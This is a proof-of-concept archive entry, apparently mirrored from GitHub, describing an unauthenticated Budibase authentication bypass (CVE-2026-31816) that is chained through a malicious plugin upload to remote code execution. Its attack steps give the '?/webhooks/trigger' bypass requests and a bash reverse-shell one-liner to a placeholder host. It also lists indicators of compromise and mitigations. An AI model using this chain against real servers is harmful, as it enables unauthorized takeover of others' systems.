Budibase Authentication Bypass to Plugin-Upload Reverse Shell — CVE-2026-31816
by imjdl · 2026-07-05
- Severity
- Critical
- CVE
- CVE-2026-31816
- Category
- web
- Affected product
- Budibase (low-code platform)
- Affected versions
- Versions vulnerable to the documented /api/integrations authentication-bypass endpoint
- Disclosed
- 2026-07-05
- Patch status
- unpatched
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-05 |
| Last Updated | 2026-03 |
| Author / Researcher | imjdl |
| CVE / Advisory | CVE-2026-31816 |
| Category | web |
| Severity | Critical |
| CVSS Score | Not specified in source |
| Status | Weaponized |
| Tags | budibase, auth-bypass, rce, plugin-upload, reverse-shell, low-code, python, datasource-plugin |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Budibase (low-code platform) |
| Versions Affected | Versions vulnerable to the documented /api/integrations authentication-bypass endpoint |
| Language / Platform | Python 3 (PoC), Budibase (Node.js server) |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
Budibase exposes an integrations/webhooks-related endpoint pattern (/api/integrations?/webhooks/trigger) that can be reached without authentication, and a plugin-upload endpoint (/api/plugin/upload?/webhooks/trigger) that shares the same bypass pattern. By uploading a crafted DATASOURCE-type plugin containing a JavaScript reverse-shell payload, an attacker can get Budibase to execute the payload server-side during plugin validation, without needing valid credentials — achieving unauthenticated remote code execution and a full reverse shell on the Budibase server.
Vulnerability Details
Root Cause
An authentication-bypass pattern on Budibase’s integrations/plugin-related routes (reachable via a URL-parameter trick appended to /webhooks/trigger) allows unauthenticated access to the plugin upload endpoint, and DATASOURCE-type plugins are permitted to execute arbitrary JavaScript on the server as part of plugin validation.
Attack Vector
- Attacker verifies the auth-bypass by requesting
GET /api/integrations?/webhooks/triggerand confirming a200response. - Attacker crafts a malicious plugin definition of
"type": "datasource"whose schema embeds a JavaScript reverse-shell payload (bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'). - Attacker uploads the plugin via
POST /api/plugin/upload?/webhooks/trigger, using the same bypass pattern to reach the endpoint without authentication. - Budibase executes the embedded JavaScript on the server during plugin validation, which spawns the reverse shell back to the attacker’s listener.
Impact
Unauthenticated remote code execution on the Budibase server, giving the attacker an interactive reverse shell with the privileges of the Budibase server process.
Environment / Lab Setup
Target: Budibase instance vulnerable to the /webhooks/trigger auth-bypass pattern
Attacker: Python 3.6+, `requests` library, netcat listener
Proof of Concept
PoC Script
See
CVE-2026-31816-rshell.pyin this folder.
| |
The script checks the target for the authentication-bypass condition, builds a malicious DATASOURCE-type plugin embedding a bash/Python reverse-shell one-liner, uploads it via the bypassed plugin-upload endpoint, and triggers server-side execution to deliver a reverse shell to the attacker’s listener.
Detection & Indicators of Compromise
Signs of compromise:
- Unauthenticated requests to
/api/integrationsor/api/plugin/uploadwith the?/webhooks/triggersuffix - New DATASOURCE-type plugins appearing with no corresponding authenticated admin action
- Outbound reverse-shell connections (e.g. to
/dev/tcp/...) originating from the Budibase server process
Remediation
| Action | Detail |
|---|---|
| Primary fix | No vendor patch confirmed as of 2026-07-05 — monitor for advisory |
| Interim mitigation | Place Budibase behind an authenticating reverse proxy; restrict/monitor plugin-upload endpoints; disable DATASOURCE plugin uploads if not required |
References
Notes
Mirrored from https://github.com/imjdl/CVE-2026-31816-rshell on 2026-07-05.
| |